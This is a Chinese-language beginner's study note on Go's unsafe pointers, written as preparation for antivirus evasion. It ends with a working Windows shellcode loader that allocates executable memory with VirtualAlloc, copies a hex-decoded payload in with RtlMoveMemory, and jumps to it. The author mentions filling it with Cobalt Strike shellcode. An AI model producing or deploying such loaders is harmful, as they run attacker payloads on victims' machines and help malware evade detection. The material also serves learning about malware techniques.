笔记属于记录恶意程序免杀入门学到的一些课程以及文章,主要用于记录和自我理解,程度很低。
0x01 unsafePointer指针基础
首先是golang中的一些指针基础,在go中和C中取出某个变量的指针的符号是一样的–&
,具体使用案例如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package main
import "fmt"
func main() {
banner1 := "stooceaTest" fmt.Printf("[*] %s\n", banner1) fmt.Printf("[*] %p\n", &banner1) fmt.Printf("[*] %s\n", *&banner1)
}
go run main.go [*] stooceaTest [*] 0xc00008a030 [*] stooceaTest
|
每个变量其实都是一个结构体,例如字符串变量,实际上他里面就是一段指针–用于指向该字符串内存位置;然后还有一块内容用于存储长度。我们可以根据这段指针指向和长度,无差错的获取到这段字符串内容。
0x02 unsafe package
1x01 Unsafe.Pointer
unsafe包在各种语言中都有见到过,根据他名字就能看出来,这个包下面的一些用法会涉及到底层操作甚至是一些不安全的操作。比如说将任意的指针转化为通用类型的指针
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package main
import ( "fmt" "unsafe" )
func main() {
banner1 := "stooceaTest" fmt.Printf("[*] %s\n", banner1) fmt.Printf("[*] %p\n", &banner1) fmt.Printf("[*] %s\n", *&banner1)
fmt.Printf("[*] %T\n", unsafe.Pointer(&banner1)) }
|
然后其实go中的函数也能够直接进行的参数的传递,这里我们演示三种修改函数解引用后的指针的方法,分别为
1.参数直接传递
2.通过修改对应解引用后的内存地址实现函数变量的内容修改
3.套一层unsafe的pointer操作,依然实现解引用后地址的赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package main
import ( "fmt" "unsafe" )
func demo2() { fmt.Println("AN94ing") }
func main() {
testfunc := func() {} testfunc = demo2 testfunc()
testfunc2 := func() {} demo2func := demo2
*&testfunc2 = *&demo2func testfunc2() fmt.Printf("%p\n", &testfunc2) fmt.Printf("%p\n", &demo2func)
fmt.Printf("%p\n", *&testfunc2) fmt.Printf("%p\n", *&demo2func)
testfunc3 := func() {}
*(*func())(unsafe.Pointer(&testfunc3)) = *(*func())(unsafe.Pointer(&demo2func)) fmt.Printf("%p\n", &testfunc3) fmt.Printf("%p\n", &demo2func) fmt.Printf("%p\n", *&testfunc3) fmt.Printf("%p\n", *&demo2func) testfunc3() }
|
这里注意两点,一是如果想要直接解引用demo2的地址值,必须要先将其赋值为一个变量才能通过&将对应结构体指针取出并解引用。
二是unsafe包下调用Pointer方法修改后的通用指针不能够被直接使用,所以只能将其转化为正常的对应类型的指针,然后才能解引用
uintptr
有两层含义,uintptr在Go的unsafe包下实际上是一段方法。而实际上,uintptr在各类变量的实际结构体中,就是那段指针的值。
简单来说,我们之前提到的banner字符串,它实际上是一段结构体,最开始我们说这个结构体里面存有一段指针-用来指向实际字符串内容在内存中的地址;还有一个具体的值用来代表这个字符串的实际长度,便于读取时知道大概要读取多少长度。而现在,这个用来指向实际字符串内容的内存地址指针,它本质上就是一段uintptr。
所以uintptr本质也是一段值。在32位的系统中是4字节,在64位系统中是8字节。进一步展开来讲,当我们想修改某个变量的值时,也要将修改对象的值转化为uintptr类型,因为只有同类型才能赋值转化。
用例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package main
import ( "fmt" "unsafe" )
func demo2() { fmt.Println("AN94ing") }
func main() {
banner1 := "stooceaTest"
fmt.Printf("[*] %d\n", (uintptr(unsafe.Pointer(&banner1))))
}
[*] 824634810144
|
uintptr特点以及作用
上面铺垫了一些东西,总的来说我们就为了一个目的–取出变量结构体中的那个uintptr。如何操作呢?我们可以先建立一个指针,用于指向这个变量的结构体。$var1就能够解决。最开始在uintptr中我们又提到:uintptr在32位系统中是4个字节,在64位系统中是8字节。所以现在这个指针往后连续读8位就能够读取到这个uintptr
不过这么做实属有些麻烦,我们可以定义一个uinptr类型的指针,或者说我们将该结构体指针强转为uintptr的指针,然后再对其解引用。而解引用之后的值又必然是原来的这个指针类型的值,所以解引用之后就是一段uintptr,也就是该结构体的uintptr。
实例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package main
import ( "fmt" "unsafe" )
func demo2() { fmt.Println("AN94ing") }
func main() {
banner1 := "stooceaTest" stringstructureUintptr := *(*uintptr)(unsafe.Pointer(&banner1)) fmt.Printf("[*] %d\n", stringstructureUintptr) }
[*] 11369396
|
当我们可以获取到这个变量的uintptr之后就能够实现一部分值转化的功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package main
import ( "fmt" "unsafe" )
func demo2() { fmt.Println("AN94ing") }
func main() {
banner1 := "Testbanner1" banner2 := "stoocea" fmt.Printf("[*] %d\n", (uintptr(unsafe.Pointer(&banner1))))
*(*uintptr)(unsafe.Pointer(&banner2)) = *(*uintptr)(unsafe.Pointer(&banner1))
fmt.Println(banner2) }
Testban
|
为什么说是一部分的值转化呢?其实到这里也能够看明白了,banner2仅仅只是把uintptr的值给拿过来了,但是banner1结构体中的len还没有存过来,导致长度只能截取到stoocea字符串同样长度的banner1值–Testban。
当然,如果两者的值不同,会报错unexpected fault address。说明类型还是有检测的
0x03 ShellCode Loader
shellcode的本质其实就是一段可以自主运行的机器码,它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode
这也是为什么我们需要shellcodeLoader的原因。结合上面的基础,我们可以通过一个go的shellcodeLoader的样例代码进行分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package main
import ( "encoding/hex" "syscall" "unsafe" )
var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") VirtualAlloc = kernel32.NewProc("VirtualAlloc") RtlMoveMemory = kernel32.NewProc("RtlMoveMemory") )
func build(ddm string) { sDec, _ := hex.DecodeString(ddm) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec))) syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() { payload := "test" build(payload) }
|
除去其他的加解密混淆等免杀手段,一个shellcodeloader需要这么多内容。大致可以分为:完成内存申请,写入shellcode,导流程序执行shellcode这3个部分。
我们一个一个来看。完成内存申请的部分我们有很多方式可以实现,windows中也提供了很多的API来实现内存分配:HeapAlloc,malloc,VirtualAlloc,new,LocalAlloc…..。
调用这些API申请内存的时候都需要申明这块内存的基本信息:申请的内存大小,申请内存的起始基址,申请的内存属性,申请内存对外权限等。这些我们在shellcodeLoader的示例代码中就能够看到,调用VirtualAlloc.Call时的参数就是具体的内存参数。
其实上述的分配内存API都会用到VirtualAlloc,因为VirtualAlloc申请的单位是“页”,windows管理内存的基本单位就是页。
了解上述基础之后再来具体看loader关键的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") VirtualAlloc = kernel32.NewProc("VirtualAlloc") RtlMoveMemory = kernel32.NewProc("RtlMoveMemory") ) func build(ddm string) { sDec, _ := hex.DecodeString(ddm) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec))) syscall.Syscall(addr, 0, 0, 0, 0)
}
|
做一个演示,首先用CS生成一段payload,然后将他的shellcode提取出来存入payload,之后就会根据我们上述分析的逻辑一样,系统会去执行这段内存中的指令(具体shellcode里面是什么,其实我本身也很好奇,只不过具体是怎么样还得等后续分析)
话又说话来,这一段内容其实很早就过时了,估计这段exe放到VT中都查的差不多了,主要还是意图过于明显,VirtualAlloc本身就是一个很敏感的操作。况且我也没有对payload进行混淆处理。算是很基本的shellcodeloader。
总结
这篇笔记是参考B站清风拂月师傅的视频边学边记录的,也加上了自己的一些理解和扩展。不过这篇文章的内容就到这了,在往深我就才疏学浅了。算是给我自己半只脚入个门,后面会持续学习一些基本功和进一步的免杀。